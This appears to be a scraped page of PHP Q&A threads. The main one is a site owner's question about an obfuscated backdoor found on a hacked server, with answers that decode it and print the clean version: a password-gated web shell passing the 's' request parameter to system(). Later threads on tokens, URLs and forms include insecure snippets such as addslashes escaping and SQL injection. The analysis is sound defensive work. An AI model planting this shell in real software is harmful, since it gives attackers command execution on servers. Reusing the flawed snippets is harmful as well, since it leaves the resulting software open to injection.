My website got hacked - what does this code do? - php

Someone hacked my site and included this code. Could someone explain what it does?
I've reformatted the spacing for better clarity. I've tried running the code but it looks like all it does is return an md5 hash. Is this harmless?
<?
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'),
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
base64_decode('dX' .'JsZGVjb2Rl'),
base64_decode('c3lz' .'dGVt'));
?>
<? function
_787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}
?>
<?php
$_0=_787708145(0);
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
if($_1!=$_0)exit;
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
if($_2==_787708145(3))exit;
$GLOBALS['_131068239_'][3]($_2);exit;
?>

Answer inline in the code comments below.
In short the script allows a shell to be either written or uploaded to your server.
Later edit: definitely not harmless, burn it with fire.
<?php
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'), // md5 - php function
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
base64_decode('c3lz' .'dGVt')); //system - php function
function _787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}
$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded
if($_1!=$_0)exit; // the md5 hash is compared here with the hash above
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
// another function call, urldecode($_REQUEST[s])
// another parameter is passed
if($_2==_787708145(3))exit; // if the urldecode above == blank then exit
$GLOBALS['_131068239_'][3]($_2);
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here
exit;
// job done, exit :)

Not harmless. This is the code with the obfuscation stuff removed:
$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));
if ($_1 != $_0) exit;
$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;
system($_2);
exit;
If this is present in a PHP file on your server, it means that a malicious user can craft an URL with p and s parameters, in order to execute any program on your server (using the system call) with the privileges of the user running your webserver.
I would advice you to get rid of this.

Yes, the above code is a backdoor. It requests the user a system command & this code executes that command on your server. Here is what the above code does!!
<?
// Here all the strings are base64 encoded
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'), // md5
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode
base64_decode('dX' .'JsZGVjb2Rl'), // urldecode
base64_decode('c3lz' .'dGVt')); // system - syntax to execute PHP on the server
?>
In the above code, system is used to execute command on your server
<? function _787708145($i) // Function Created
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=', // MD5 string 2caf6917ca3d9a3a85d26029ed623b1a
'cA==', // p
'cw==', // s
'');
return base64_decode($a[$i]);
}
?>
Above is the function created
<?php
$_0=_787708145(0);
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
if($_1!=$_0)exit;
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
if($_2==_787708145(3))exit;
$GLOBALS['_131068239_'][3]($_2);exit;
?>
This line
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
_787708145(1) : p
So $_REQUEST[_787708145(1)]) will asking for user to enter parameter with value with p parameter name
$GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]) : urlencode($_REQUEST["p"])
$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])) : md5(urlencode($_REQUEST["p"]))
It will match the password if($_1!=$_0)exit;
$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); : urlencode($_REQUEST["s"]);
if($_2=="s")exit;
Now comes the final part i.e.
$GLOBALS['_131068239_'][3]($_2); : system($_2); // $_2 is the value supplied by the user to execute command

Decoding the base64 strings:
bWQ1 is md5
dXJsZGVjb2Rl is urldecode
c3lzdGVt is system
MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE= is 2caf6917ca3d9a3a85d26029ed623b1a
dXJsZGVjb2Rl is urldecode
cA== is p
cw== is s
dXJsZGVjb2Rl is urldecode
This should provide some insight into the aim of the obfuscated code.

I had a virus all over my WordPress server which included the same md5 encoded key. I posted about it here. It was heavily obfuscated, but below is the fully-decoded virus. They ran the code inside eval() which was inside create_function().
create_function() is depreciated as of PHP 7.2, so upgrading your server's PHP will prevent this from happening again. In my case the backdoor was in every functions.php file on my server, across two websites and every WordPress theme, whether in use or not.
$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
exit;
I've also been having email troubles, so I suspect they were running programs to send spam.

Related

I want to make a secure link

i want to make a code generator link,like
www.website.com/register?code=29U3HTR3H219URH923UH419H94RH1298491U2HERUH1?plan_bought=LowReseller
in a functions file on php that is redirecting an user on that link.
$planned = htmlspecialchars($_GET["planbought"]);
// connect to database
$db = mysqli_connect('localhost', 'root', 'pass');
mysqli_select_db($db,"ronp");
function generateRandomString($length = 16)
{
$pool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
return substr(str_shuffle(str_repeat($pool, $length)), 0, $length);
}
$code_secure = generateRandomString(17); // OR: generateRandomString(24)
$query = "INSERT INTO codes (code, expired, 'date', plan)
VALUES('$code_secure', '0', date, '$planned')";
mysqli_query($db, $query);
header('Location: register?code=', $code_secure);
?>
Process: After payment,paypal will redirect user on https://website.com/functions_generate-ak9esysgenthos.php?planbought=Low
That link will create a code in database,and will redirect user on https://website.com/register?code_secure=(code)
Now the problem is,i get redirected on "https://website.com/register?code=",not "https://website.com/register?code=(the code created in database,like 'J2498JT9UJ249UTJ293UJ59U123J9RU9U')"
If you look at the documentation for header() you'll see that the second parameter is a boolean value. This parameter specifies if the header should be "forcefully" be replaced. You are incorrectly passing your "secure"* code as that parameter.
What you want to do is concatenate the strings instead of passing your "secure" code as a second parameter. What you want to get is
header('Location: register?code=' . $code_secure);
*The "secure" code you are generating is predictable (as you used this code), if you need a secure code you might want to look into openssl_random_pseudo_bytes before PHP 7.0 and random_bytes() in PHP 7.0 or higher, as demonstrated by this answer.
Furthermore, as mentioned by Raymond Nijland your code is vulnerable to SQL injections. See this excellent answer on how you can prevent SQL injections.
Besides the issues mentioned in Tom Udding's answer, there are at least two other issues:
functions_generate-ak9esysgenthos.php can be accessed without any authentication at all. Moreover, it generates a "secure code" blindly, without determining whether a user is logged in or otherwise authorized to access that page (e.g., without determining whether a payment operation is in progress). This could allow anyone with knowledge of the URL to access functions_generate-ak9esysgenthos.php; depending on how your application is implemented, this could cause orders that weren't paid for or even a denial of service attack (due to the additional order codes clogging your database).
You are generating a random "secure code" without checking whether that code was already used. What if /register?code=... finds two records with the same code? Can your application tolerate the risk of generating the same code for different records? (See also my section on unique random identifiers.)

Output Buffering: Easy way to make string out of HTML-Code

I'm currently using Chatfuel to open the index.php-file of my website which sends the user the html code into his browser. There he can register and set up his account.
An example URL might look like this:
https://my.domain.com?key_value='123456789'
Depending on if that user is a new or a existing one, I wanna present him with a different form. In order to check so, I do a simple query to the MySQL db and see if the passed on key_value is already in the db and safe true or false to a boolean. Stating the obvious: If hes not an existing user, the 'empty' form with no values should show up. If he is registered he should see the information he filled in from last time.
My idea:
At the top of my index.php I do the check whether he's an existing customer or not (Note: This is working already). Then I want to use outputbuffering to alter the html-code depending on the boolean, before it is sent to the client.
My problem:
I developed the blueprint of the website in plain html (see code below). And OB only catches it as output if its within a string. Since I use " as well as ' in the document the string gets interrupted every few lines. Is there a simple workaround to this? Because the OB function is unable to access anything within the <html>...</html> tags.
Or do i need to use redirecting after the check (in my index.php) and create a separate form + script for both edit customer data and add new customer data?
<?php
//Connection stuff
// Prepare statment: !TODO: string needs to be escaped properly first
$query_string = "SELECT * FROM tbl_customer WHERE unique_url = '$uniqueurl'";
$query_rslt = mysqli_query($conn, $query_string);
if($query_rslt == FALSE)
{
// Failure
echo "<br> Oops! Something went wrong with the querying of the db. " . $conn->connect_error;
//Handle error
}
else
{
if ($query_rslt->num_rows > 0)
{
// Set boolean
$existing_customer = TRUE;
// Create an array called row to store all tuples that match the query string
while($row = mysqli_fetch_assoc($query_rslt)) {
//...
}
}
}
// Custom post processing function
function ob_postprocess($buffer)
{
// do a fun quick change to our HTML before it is sent to the browser
$buffer = str_replace('Testing', 'Working', $buffer);
// Send $buffer to the browser
return $buffer;
}
// start output buffering at the top of our script with this simple command
// we've added "ob_postprocess" (our custom post processing function) as a parameter of ob_start
if (!ob_start('ob_postprocess'))
{
// Failure
echo "<br> Oops! Something went wrong with output buffering. Check that no HTML-Code is sent to client before calling this start function.";
// Handle error
}
else
{
// Success
// This is where the string should get accessed before sending to the client browser
echo "Testing OB.";
}
?>
<!--DOCTYPE html-->
<html lang="en">
<head>
<meta charset="utf-8">
//...
</body>
</html>
<?php
// end output buffering and send our HTML to the browser as a whole
ob_end_flush();
?>
Output: "Working OB."
EDIT: I added source code example. This code won't compile.
Since, i can't comment, so i'll put some of my question here.
I dont really get the point, but give me a try, are you mean escaping string? you can use backslashes \ to escape string.
Like this "select from ".$dbname." where id = \"".$id."\"".
You can easily using addslashes($var) before adding the variable to the sql. like this
$id = addslashes($_POST['id']);
$sql = "select form db where id = '$id'";
If you mean checking the existent of the user to select which form to show in the page, why dont you do this?
if(userCheck()) {
?>
// here write the html code if user passed
<?php
} else {
?>
// here write the html code if user not passed
<?php
}
You can put userCheck() as global function or whereever you place it, as long as you can use it when you want to check the user before showing the form.
tl;dr: The thing I was looking for was a combination of file_get_contents() and object buffering.
file_get_contents() returns a string of a plain html-file of your choice. I could post a ton of explanation here or simply link you to phppot.com. The article offers you a directly executable demo with source (Download here). In case you wanna try it with a html file of yours, simply change the file path.
So once the whole html was converted into a string, I used the postprocessing function of OB to alter the string (= basically my html) if it's an existing user that came to alter his data. Then all the html-code (in a string still at this point) is sent to the client using ob_end_flush(). I will put up the actual code asap :)

PHP Get current URL parameter after #

I want to have a variable that contain url address such as this example
when I open http://localhost/test?alfa=b&bravo=c#question=Z
I want to print on my web the "question=Z"
I try to get by using REQUEST_URI
$url=$_SERVER['REQUEST_URI'];
The browser just show "/test?alfa=b&bravo=c" without "question=Z"
Could somebody helped me with this issue?
Thanks Before
After research on php and java, I can get the #hashtag by combine php n java
here put javascript :
<script type="text/javascript">
var test = window.location.hash.replace("#","$");
document.cookie = 'tag=' + test;
</script>
And last, put this php to take the variable
<?php
$hashtag = $_COOKIE["tag"]; $hashtag = substr($hashtag,11,1000);
?>
I put 1000 because I limit the input question max 1000 character
Maybe you just made an error and what you actually mean is:
http://localhost/test?alfa=b&bravo=c&question=Z
Then your error would just be a typo.
Otherwise, there is no solution to that. Everything including and bafter the # is never actually transmitted to the server. It is evaluated locally on the browser.
The Server only sees the Domain, the URI and teh query string.
Regards,
Stefan
use this kind of URL
http://localhost/test?alfa=b&bravo=c&question=Z
then in php you can catch them by
$alfa = $_GET['alfa'];
$bravo = $_GET['bravo'];
$question = $_GET['question'];
to catch
<?php
if( $_GET["alfa"] || $_GET["bravo"] )
{
echo "I'm ". $_GET['alfa']. "<br />";
echo "I'm ". $_GET['bravo'];
exit();
}
?>
or
<?php
if( !empty($alfa) || !empty($bravo) )
{
echo "I'm ". $alfa. "<br />";
echo "I'm ". $bravo;
exit();
}
?>
About GET
The GET method produces a long string that appears in your server
logs, in the browser's Location: box.
The GET method is restricted to send upto 1024 characters only.
Never use GET method if you have password or other sensitive
information to be sent to the server.
GET can't be used to send binary data, like images or word
documents, to the server.
The data sent by GET method can be accessed using QUERY_STRING
environment variable.
The PHP provides $_GET associative array to access all the sent
information using GET method.
PHP - GET & POST Methods
HTTP Methods: GET vs. POST

Update database using JQuery ajax.Post()

Help! I'm writing some code to update a mySQL database using similar to the code below:-
$.post('http://myURL.com/vote.php?personID=' + personID + '&eventID=123');
The vote.php code takes the querystring values and inserts a record into a database with those values in it.
This kind of code is working fine, but I've realised the problem is that people could just type something like:
http://myURL.com/vote.php?personID=5&eventID=123
into their address bar and essentially spam the app...
Is there a straightforward way I can ensure this doesn't happen? I'm reasonably new to these technologies so not aware of how everything works or fits together, but I'm learning fast so any pointers would be super useful.
It is not a good idea to use GET parameters for data that goes to a database. Generally, you want to use POST parameters which are not visible in the URL. So instead of :
$.post('http://myURL.com/vote.php?personID=' + personID + '&eventID=123');
You would do it like this :
$.post('http://myURL.com/vote.php', { "personID" : personID, "eventID" : 123 });
And in your PHP script, you would access your data with the $_POST array like this :
$personID = $_POST['personID'];
$eventID = $_POST['eventID'];
However, don't forget to properly filter input before saving to the database to prevent bad things like SQL Injection.
This is not a silver bullet : spam will still be possible because any HTTP client will be able to send a post request to your site. Another thing you can look at is Security Tokens to make it even less vulnerable to spam. Or implement a system that limits the number of request/minute/user... but I'm getting too far from the original question.
Correct syntax of $.post is
$.post(url,data_to_send,callback_function)
By using this method your user will never be able to damage your site.Use like
$.post('http://myURL.com/vote.php',{"personID":personID,"eventID":123);
Whether you're using POST or GET, you could always consider signing important fields in your page by using hash_hmac. This prevents people from changing its value undetected by adding a signature that no one else can guess.
This also makes CSRF more difficult, though not impossible due to fixation techniques. It's just yet another technique that can be put in place to make it more difficult for "fiddlers".
The following function adds a salt and signature to a given person id to form a secured string.
define('MY_SECRET', 'an unguessable piece of random text');
function getSecurePersonId($personId)
{
$rnd = uniqid("$personId-", true);
$sig = hash_hmac('sha1', $rnd, MY_SECRET);
return "$rnd-$sig";
}
You would pass the output of getSecuredPersonId() to JavaScript to pass as data in the $.post() or $.get(); posting would be recommended btw.
When the form is submitted your person id would end up in either $_GET['personID'] or $_POST['personID'] depending on the request method. To validate the given value, you run it through this function:
function validateSecurePersonId($securePersonId)
{
if (3 != count($parts = explode('-', $securePersonId))) {
return false;
}
// reconstruct the signed part
$rnd = "{$parts[0]}-{$parts[1]}";
// calculate signature
$sig = hash_hmac('sha1', $rnd, MY_SECRET);
// and verify against given signature
return $sig === $parts[2] ? $parts[0] : false;
}
If the value is properly signed, it will return the original person id that you started out with. In case of failure it would return false.
Small test:
$securePersonId = getSecurePersonId(123);
var_dump($securePersonId);
if (false === validateSecurePersonId($securePersonId)) {
// someone messed with the data
} else {
// all okay
}

Protecting mp3 file path in flash player

I have flash player in my web site for playing the mp3 files.But if someone uses "viewsource" or any browser tools such as firebug, then they can find the parameter and then sort out the actual mp3 file url.I am using php in my back end. There should be someway to hide these parameters but couldn't figure out how?
Any ideas?
Preface: If you show it on the web you can steal it. Period.
That said, you can make it a lot harder by masking the URL of the file by passing it through a php script that does two things:
1) Translates an encrypted GET parameter which can be validated AND can be used only once (store the variable in a database or log). This code will be created when the player is loaded, and once it's started buffering the file cannot be used again. This way the parameter cannot just be a random string (it has to be decryptable) and the user cannot just use the same URL.
The php in the html page the user would receive would look something like:
$key = 'My EnCyption Key';
$unique_string = "Generated at ".time().$_SERVER['REMOTE_ADDR']; //the time element changes the string each time and the IP address controls for multiple users simultaneously loading the same page
$tolken = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $string, MCRYPT_MODE_CBC, md5(md5($key))));
and then then the flash player would be set to use the mp3 file:
http://yoursite.com/mp3/file_fetcher.php?file_id=123&tolken=<?php echo $tolken;?>
The file file_fetcher.php would have something like this (obviously this requires some fleshing out):
$fixed_string_part = "Generated at ";
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($_GET['tolken']), MCRYPT_MODE_CBC, md5(md5($key))), "\0");
if (substr($decrypted,0,strlen($fixed_string_part))!=$fixed_string_part){
die("Your tolken is invalid");
}
//check that the tolken hasn't been used before:
$check_query = mysql_query("select * from `mp3_tolken_log` where `tolken`='$decrypted';",[connection identifier]); //write this more cleanly
if (mysql_num_rows($query)){
die("You've already used that tolken!");
} else {
$log_it = mysql_query("insert into `mp3_tolken_log` (`tolken`,`dateadded`) VALUES ($decrypted,NOW())"); //make sure it's in there so it can't be used again
}
//now get the file if we haven't already died
$contents = file_get_contents([path/to/mp3/file/specified/by/id/$_GET['file_id']]);
header('Content-Type: audio/mpeg');
echo $contents;
2) Check that the referring site is your own site (rather than them trying to access the script directly). Something like:
if (!isset($_SERVER['HTTP_REFERER'])){die("Restricted Access!");};
$_u=parse_url($_SERVER['HTTP_REFERER']);
$_u=preg_replace("/(www.)/i","",strtolower($_u['host']));
$_i=$_SERVER['HTTP_HOST'];
$_i=preg_replace("/(www.)/i","",strtolower($_i));
($_u == $_i) or die("Restricted Access!");
Of course this information can be faked, but between it and the single-access pass you shouldn't have to worry about direct downloads. That said, remember that there are a million ways to get the file from the stream, and there's just no way to stop that.

Categories